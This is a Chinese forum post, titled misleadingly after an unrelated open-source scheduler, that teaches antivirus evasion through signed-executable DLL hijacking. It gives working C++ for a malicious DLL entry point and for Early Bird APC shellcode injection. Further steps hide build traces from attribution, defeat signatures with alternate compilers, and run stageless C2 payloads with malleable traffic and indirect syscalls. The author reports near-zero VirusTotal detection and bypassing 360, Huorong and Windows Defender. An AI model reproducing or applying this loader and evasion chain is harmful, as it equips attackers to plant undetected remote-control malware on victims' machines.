“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”

本文记录的我学习实现白+黑免杀的过程,以及遇到了shellcode编写32位无法注入64的问题,最后组合了各种静态规避手段,成功静态层面逃逸大部分的杀软。成品和源码可以在最下方的先知的附件中可以拿到,仅供学习参考。

基本背景

在与杀毒软件的对抗中,即使恶意代码再隐蔽,一旦被发现,它的生命便结束了。杀毒软件厂商通过算法如MD5等获取样本的唯一值来构建云端特征库,另一方面很多合法的软件也需要要用到一些敏感的系统动作,于是就出现了软件签名技术。

软件开发厂商会对自己发布的软件进行签名,这样即使出现敏感动作(截图、图形远程控制)杀软也会放行动作,大大提高了正常用户的体验。

但是软件开发厂商随着开发时间的推移,即使是安全做的最好的公司也出现管理方面的混乱,很多软件由于开发的历史包袱就出现了一堆dll劫持漏洞,未校验签名的情况,甚至是泄露的句柄和token等等。在这种背景下,黑客就会劫持持有白签名的exe来使得恶意代码更加隐蔽,这就是所谓的白加黑。

DLL基础

编写一个恶意的dll正常程序没有太大区别,只不过函数的入口约定成了如下形式:

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved )// Reserved
{
switch( ul_reason_for_call )
{
case DLL_PROCESS_ATTACHED:
HelloWorld();// A process is loading the DLL.
break;
case DLL_THREAD_ATTACHED:// A process is creating a new thread.
break;
case DLL_THREAD_DETACH:// A thread exits normally.
break;
case DLL_PROCESS_DETACH:// A process unloads the DLL.
break;
}
return TRUE;
}

void HelloWorld(){ MessageBox( NULL, TEXT(“Hello World”), TEXT(“In a DLL”), MB_OK);}

当dll被加载的时候就会进入DLL_PROCESS_ATTACHED中执行其中HelloWorld()函数,一般开发者会导出自己写的函数给主程序使用:extern __declspec(dllexport)void HelloWorld();

主程序需要获取这个函数的地址来调用:HINSTANCE hinstDLL =::LoadLibrary(L”Dll_test.dll”);
if(hinstDLL != NULL){
FunctionType HelloWorld =(FunctionType)GetProcAddress(hinstDLL, “”);
if(HelloWorld != NULL){
HelloWorld();
}
else{
std::cerr << “Failed to find s function in the DLL.” <<::GetLastError()<< std::endl;
}
}
else{
// 处理错误:加载DLL失败
std::cerr << “Failed to load the DLL.” <<::GetLastError()<< std::endl;
}

可以看到正常的的开发者一般都会直接LoadLibrary,这就很容易让我们去劫持dll。

寻找具备未被检验签名的DLL

其实没什么好说的,就是在网上不停的下载安装包,查找安装的软件,然后不断复制出exe,双击看看会不会弹出“缺少xxx.dll”的警告,一天速度快能挖一堆这玩意,绝大部分软件厂商的exe压根不会校验自己的dll有没有篡改,just load。经过一个小时多,我找到了一个游戏加速器的比较好用

图片[1]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛
图片[2]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

编写dll VS project:

当我们找好了可以劫持的dll后就可以编写恶意的dll了,不过如果dll导出函数太多的话,一个个去复制粘贴太累了,不现实,这里我们要使用工具 AheadLibEx.exe,这将帮助我们轻松生成一个VS project:

图片[3]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

打开生成的VS project我们发现它帮我们生成的很多函数,我们不需要可以直接删掉,这并不影响我们后续恶意代码运行:

图片[4]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

可以看到里面的load和init函数我们其实都不需要,直接删掉里面代码,保留最基本都入口就可以了BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if(dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
//这里写我们的恶意代码
。。。。。。。。
}
elseif(dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}

注意事项:

  1. 编译的时候要注意程序位数,我们的具备白签名的文件是32位,dll也得是32位
  2. 有些不同版本的编译器似乎无法正确解析__asm jmp汇编代码,可以直接批量//注释掉不影响运行
  3. cpp17和cpp20标准编译可能有无法预测的行为会导致编译失败,我暂时还没弄清楚原因,本文代码建议用cpp17标准

编写注入方法

这里我将使用 Early Bird APC注入(早鸟APC注入),Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert,该函数会清空并处理APC队列,所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权,从而避免了反恶意软件产品的钩子的检测,同时获得一个合法进程的环境信息

第一步,利用CreateProcessA拉起一个挂起的进程,这里我使用DEBUG_PROCESS标志位来阻塞它使其具备APC注入的条件std::tuple<DWORD, HANDLE, HANDLE> CreateProcessAndStop(const std::string& lpProcessName){
std::string lpPath = lpProcessName;
std::cout << “\n\t[i] Running: \”” << lpPath << “\” … “;
STARTUPINFOA Si ={sizeof(STARTUPINFOA)};
PROCESS_INFORMATION Pi ={0};

if(!CreateProcessA(NULL,(LPSTR)(lpPath.data()), NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL,&Si,&Pi)){
std::cerr << “[!] CreateProcessA Failed with Error : ” << GetLastError()<< std::endl;
return{0, INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE };
}
std::cout << “[+] DONE” << std::endl;
return{ Pi.dwProcessId, Pi.hProcess, Pi.hThread };
}

第二步,利用正常的注入技术注入到拉起的新进程中,非常经典的三个函数调用:

  • VirtualAllocEx分配一个rw内存
  • WriteProcessMemory写入shellcode
  • VirtualProtectEx修改内存权限为rx

std::tuple<BOOL, PVOID> InjectShellcode(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode){
SIZE_T sNumberOfBytesWritten = NULL;
PVOID pAddress =nullptr;
pAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(pAddress == NULL){
std::cerr << “\n\t[!] VirtualAllocEx Failed With Error : ” << GetLastError()<< std::endl;
return std::make_tuple(FALSE,nullptr);
}
std::cout << “\n\t[i] Allocated Memory At : 0x” << pAddress << std::endl;
std::cout << “\t[#] Press <Enter> To Write Payload … “;
if(!WriteProcessMemory(hProcess, pAddress, pShellcode, sSizeOfShellcode,&sNumberOfBytesWritten)|| sNumberOfBytesWritten != sSizeOfShellcode){
std::cerr << “\n\t[!] WriteProcessMemory Failed With Error : ” << GetLastError()<< std::endl;
VirtualFreeEx(hProcess, pAddress,0, MEM_RELEASE);
return std::make_tuple(FALSE,nullptr);
}
std::cout << “\t[i] Successfully Written ” << sNumberOfBytesWritten << ” Bytes” << std::endl;

DWORD dwOldProtection = NULL;
if(!VirtualProtectEx(hProcess, pAddress, sSizeOfShellcode, PAGE_EXECUTE_READ,&dwOldProtection)){
std::cerr << “\n\t[!] VirtualProtectEx Failed With Error : ” << GetLastError()<< std::endl;
VirtualFreeEx(hProcess, pAddress,0, MEM_RELEASE);
return std::make_tuple(FALSE,nullptr);
}

return std::make_tuple(TRUE, pAddress);
}

第三步,需要调用插入APC队列,当回调发生的时候指向我们的shellcode地址QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL);

第四步,使用DebugActiveProcessStop触发函数回调成功上线:DebugActiveProcessStop(PId);

我画了个简单的图片描述了上述APC注入的流程:

图片[5]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛
图片[6]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛
图片[7]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛
图片[8]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

卡巴斯基的启发式查杀对这类的较小的dll容易检测出dll劫持,我这里使用添加静态资源来规避:

图片[9]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

选择一个合适的ico,大家电脑上一堆,找个大一点的就可以了:

图片[10]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

默认的VS设置比较坑爹,在release模式下依然会带上调试信息,清单信息,里面的信息包含编译的路径和用户名,这导致攻防的时候有部分搞免杀的师傅被溯源出来id,就连不少顶级APT组织都翻车过,微软你坏事做尽(笑),我们得去资源方案关掉这个坑爹的选项:

图片[11]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

最后注释掉所有我们debug的打印信息,上传VT查看静态效果,印象中32位的免杀效果一般都比较差,这个结果总体来说还可以了

图片[12]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

更加底层的静态规避:

刚刚的效果看起来已经还行啦,3/71的效果,特征其实在MT里面了,不过你还希望更好可以参考这篇文章利用gcc编译器取消所有特征,这里直接给出文章里面的编译方法:

你可能和我一样懒得去linux编译安装,可以参考这个文章去官网安装Intel C++编译器到我们的VS项目里面

图片[13]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

不得不点名表扬一下intel的这个开发工具,真是一条龙服务,安装完成之后默认的平台编译工具直接帮我们配置好了,直接切换其他编译器正常编译就行了。

图片[14]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

你可能会好奇为什么LLVM和lnetel编译的规避效果更好,实际上是因为杀毒特征采用的是基于模糊哈希算法的恶意代码检测,大部分黑客早期都一直在用默认的编译器去编写恶意代码导致就连正常的编译的都会报毒了,像这种比较冷门的编译器用的人少,产生的特征就更少效果自然好不少。

说到这里就不得不提一下基于LLVM的混淆了,大部分杀毒的特征码容易出现在循环和独有的字符串上,于是有大佬就在底层上patch了llvm底层编译的状态,使得简单的控制流都变得非常复杂:

图片[15]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

图来自github,我这里就不再尝试了,有兴趣的师傅可以折腾一下,这方面就算是非常底层的混淆,已经远远超出我们当下的讨论的范围。

上线测试效果

现在开始测试上线,为了避免一下就GG我们生成的payload请选择stagless,同时要使用Malleable C2中的修改后的流量,这样将进一步降低流量特征,同时启用system call中的indirect(间接系统调用)避免一些杀毒的hook,output生成raw之后用加密器加密一下就好了。

图片[16]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

360不喜欢我们用微软默认的编译器,这杀毒老是喜欢乱杀-即便你就编译一个helloword,我实际测试用到就是clang编译器的编译成品;360和火绒是没有内存查杀的,流量检测也很简陋,绕过还是比较简单:

360查杀效果:

图片[17]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛
图片[18]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛
图片[19]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛
图片[20]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

挑战一下防御全开的windows defender这种有内存查杀和流量检测都还可以的,上线没问题,启动扫描后依然一切正常,就不放上线的图了:

图片[21]-“超过25k星的开源分布式任务调度平台:探索高度可信赖的选择”-山海云端论坛

本来前面的测试想放GIF的,但是全录起来几分钟就显得没必要了。

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容